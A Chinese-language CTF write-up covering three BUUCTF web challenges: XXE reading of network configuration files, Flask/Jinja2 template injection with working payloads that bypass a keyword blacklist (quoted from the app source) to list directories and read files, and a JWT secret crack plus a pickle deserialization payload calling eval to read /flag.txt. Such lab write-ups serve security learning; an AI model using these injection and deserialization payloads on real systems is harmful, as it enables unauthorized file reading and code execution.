buuctf12
[NCTF2019]True XML cookbook
依旧是xxe注入:
但是这题flag不在根目录下没法直接读取,所以看了一下wp说是在内网主机中!??????????果然还是做得题目少了,内网主机文件夹:
读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host
然后发现,接下来一个一个尝试就可以拿到flag了
附上一篇xxe注入的学习文章:
https://xz.aliyun.com/t/3357#toc-11
[GYCTF2020]FlaskApp
又是flask框架 注入 ,确定是jingjia模板注入:
报错爆出了网站的源码文件app.py,那就先来一波任意文件读取看行不行
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %} |
1 | from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64加密',validators= [DataRequired()]) submit = SubmitField('提交') class NameForm1(FlaskForm): text = StringField('BASE64解密',validators= [DataRequired()]) submit = SubmitField('提交') def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 @app.route('/hint',methods=['GET']) def hint(): txt = "失败乃成功之母!!" return render_template("hint.html",txt = txt) @app.route('/',methods=['POST','GET']) def encode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64encode(text.encode()) tmp = "结果 :{0}".format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode')) else : text = "" form = NameForm(text) return render_template("index.html",form = form ,method = "加密" ,img = "flask.png") @app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp) flash( res ) return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = "解密" , img = "flask1.png") @app.route('/<name>',methods=['GET']) def not_found(name): return render_template("404.html",name = name) if __name__ == '__main__': app.run(host="0.0.0.0", port=5000, debug=True) |
知道过滤了哪些字符了
接下来继续读取‘
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}//这里也就不一定是需要catch_warnings了 也可以是下面的那个import很多很多 |
1 | {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt').read()}}{% endif %}{% endfor %} |
尝试使用
1 | {{}} |
构造语句:
1 | {{"".__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__'].}}//在75找到_frozen_importlib._ModuleLock可以指向builtins,而builtins里面有import可以使用,并且也有file那些东西,这个75是一个一个尝试出来的 |
作罢,只能一个个尝试了
接下来继续构造语句
1 | {{"".__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__builtins__'].open('app.py', 'r').read()}} |
r然后后面的语句就和之前的没啥区别了,这题还是学到了很多东西,总觉得自己ssti注入学的不够深入,很奇怪,大概是python还没真正学好吧
这边有个点:
如果只是subclasses()的时候是出不了类的,但是builtins的时候是可以出他名下的函数,顺带出subclasses()的class
小结
1.在python—ssti注入一文中添加了各个class可以使用的函数或者方法,以后就不会找的很迷茫了
2.一般情况下都是subclasses爆出所有类,然后一个个去尝试数字靠近使用,这题主要靠盲猜了,不然就是用一个for循环进行遍历,我觉得这题考察的本意也是如此想要让我们使用for循环进行遍历吧。
3.对于ssti注入 只能说继续学习吧!
[CISCN2019 华北赛区 Day1 Web2]ikun
ikun们冲鸭,一定要买到lv6!!! 可能是要买iv6?但是不知道咋买
脚本如下:
1 | import requests |
这里解释下:题目说要买到lv6,当我再找的时候页码会一直往下翻,
这些图片位置出现了lv2 5 但是就是没有lv6 于是猜想 可能某一页当中有lv6 python写个脚本 跑一下 发现在181页的位置出现了: 接下来购买看看注册账号,登录购买,发现不够钱,抓包看看,发现可以改折扣:
进入页面 说需要admin,抓包看看:
这里有个jew很可疑,查一下:
jwt伪造
首先了解下JWT:
JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制。
JWT的数据格式分为三个部分: headers , payloads,signature(签名),它们使用.
点号分割
验证方法:首先服务端会产生一个key
,然后以这个key
作为密钥,使用第一部分选择的加密方式(这里就是HS256
),对第一部分和第二部分拼接的结果
进行加密,然后把加密结果放到第三部分
。
1 | 服务器每次收到信息都会对它的前两部分进行加密,然后比对加密后的结果是否跟客户端传送过来的第三部分相同,如果相同则验证通过,否则失败。 |
因为加密算法我们已经知道了,如果我们只要再得到加密的key
,我们就能伪造数据,并且通过服务器的检查。
所以此时我们爆破出我们的加密密钥 使用JWT cracker
果然直接在windows下载拖过去是最快的==,然后docker安装一下 直接
1 | apt-get install libssl-dev |
爆破出来了 密钥是1Kun 这样就可以进去了
然后
审计源码
看了一下
这题是python反序列化,没遇过,于是跟着wp学习了
1.python反序列语句:
1 | p = pickle.loads(urllib.unquote(become)) |
所以become是我们传入的参数
找到become传入入口,开始操作:
1 | import pickle |
没遇见过 所以直接跟着打了一下,几个地方理解下
pickle反序列化
pickle提供了一个简单的持久化功能。可以将对象以文件的形式存放在磁盘上。
pickle模块只能在python中使用,python中几乎所有的数据类型(列表,字典,集合,类等)都可以用pickle来序列化,
pickle序列化后的数据,可读性差,人一般无法识别。
p = pickle.loads(urllib.unquote(become))
urllib.unquote:将存入的字典参数编码为URL查询字符串,即转换成以key1 = value1 & key2 = value2的形式pickle.loads(bytes_object): 从字节对象中读取被封装的对象,并返回我看了师傅们的博客之后的理解就是,我们构建一个类,类里面的__reduce__python魔术方法会在该类被反序列化的时候会被调用Pickle模块中最常用的函数为:
(1)pickle.dump(obj, file, [,protocol])
1 | 函数的功能:将obj对象序列化存入已经打开的file中。 |
(2)pickle.load(file)
1 | 函数的功能:将file中的对象序列化读出。 |
(3)pickle.dumps(obj[, protocol])
1 | 函数的功能:将obj对象序列化为string形式,而不是存入文件中。 |
(4)pickle.loads(string)
1 | 函数的功能:从string中读出序列化前的obj对象。 |
检测反序列化方法:
1 | 全局搜索Python代码中是否含有关键字类似“import cPickle”或“import pickle”等,若存在则进一步确认是否调用cPickle.loads()或pickle.loads()且反序列化的参数可控。 |
防御方法
1 | 1、用更高级的接口__getnewargs()、__getstate__()、__setstate__()等代替__reduce__()魔术方法; |
0\|1**0x04解题**
我的理解是pickle反序列化过程中如果有reduce,那么在重建对象的时候就会调用,并且会调用我们使用的函数。
paylaod:
1 | c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A. |